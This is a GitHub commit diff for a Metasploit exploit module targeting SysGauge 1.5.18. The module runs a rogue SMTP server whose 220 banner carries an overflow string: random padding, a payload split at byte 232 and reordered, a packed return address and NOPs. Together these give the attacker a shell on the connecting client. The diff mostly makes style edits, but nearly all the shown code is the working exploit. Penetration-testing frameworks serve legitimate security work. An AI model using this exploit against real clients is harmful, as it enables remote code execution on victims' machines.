Skip to content

Commit f4bb1d6

Browse files
committed
Updated based on @wvu's comments
1 parent b3fbbbe commit f4bb1d6

File tree

1 file changed

+17
-22
lines changed

1 file changed

+17
-22
lines changed

modules/exploits/windows/smtp/sysgauge_client_bof.rb

Lines changed: 17 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
1+
#
22
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
#
@@ -7,9 +7,6 @@
77
#
88
##
99

10-
11-
require 'msf/core'
12-
1310
class MetasploitModule < Msf::Exploit::Remote
1411
include Msf::Exploit::Remote::TcpServer
1512

@@ -19,14 +16,14 @@ def initialize()
1916
super(
2017
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
2118
'Description' => %q{
22-
This module will setup a SMTP server expecting a connection from SysGauge 1.5.18
19+
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
2320
via its SMTP server validation. The module sends a malicious response along in the
24-
220 service ready response and exploits the client resulting in an unprivileged shell.
21+
220 service ready response and exploits the client, resulting in an unprivileged shell.
2522
},
2623
'Author' =>
2724
[
2825
'Chris Higgins', # msf Module -- @ch1gg1ns
29-
'Peter Baris'
26+
'Peter Baris' # Initial discovery and PoC
3027
],
3128
'License' => MSF_LICENSE,
3229
'References' =>
@@ -40,7 +37,6 @@ def initialize()
4037
'Payload' =>
4138
{
4239
'Space' => 306,
43-
'Smallest' => true,
4440
'BadChars' => "\x00\x0a\x0d\x20"
4541
},
4642
'Platform' => 'win',
@@ -53,32 +49,31 @@ def initialize()
5349
}
5450
]
5551
],
56-
'Privileged' => 'false',
52+
'Privileged' => false,
5753
'DisclosureDate' => 'Feb 28 2017',
5854
'DefaultTarget' => 0
5955
)
6056
register_options(
6157
[
6258
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
63-
], self.class)
64-
end
65-
66-
def setup
67-
super
59+
])
6860
end
6961

7062
def on_client_connect(c)
63+
# Note here that the payload must be split into two parts.
64+
# The payload gets jumbled in the stack so we need to split
65+
# and align to get it to execute correctly.
7166
sploit = "220 "
72-
sploit += rand_text(target['Offset'])
67+
sploit << rand_text(target['Offset'])
7368
# Can only use the last part starting from 232 bytes in
74-
sploit += payload.encoded[232..-1]
75-
sploit += rand_text(2)
76-
sploit += [target.ret].pack('V')
77-
sploit += rand_text(12)
78-
sploit += make_nops(8)
69+
sploit << payload.encoded[232..-1]
70+
sploit << rand_text(2)
71+
sploit << [target.ret].pack('V')
72+
sploit << rand_text(12)
73+
sploit << make_nops(8)
7974
# And the first part up to 232 bytes
80-
sploit += payload.encoded[0..231]
81-
sploit += "ESMTP Sendmail \r\n"
75+
sploit << payload.encoded[0..231]
76+
sploit << "ESMTP Sendmail \r\n"
8277

8378
print_status("Client connected: " + c.peerhost)
8479
print_status("Sending payload...")

0 commit comments

Comments
 (0)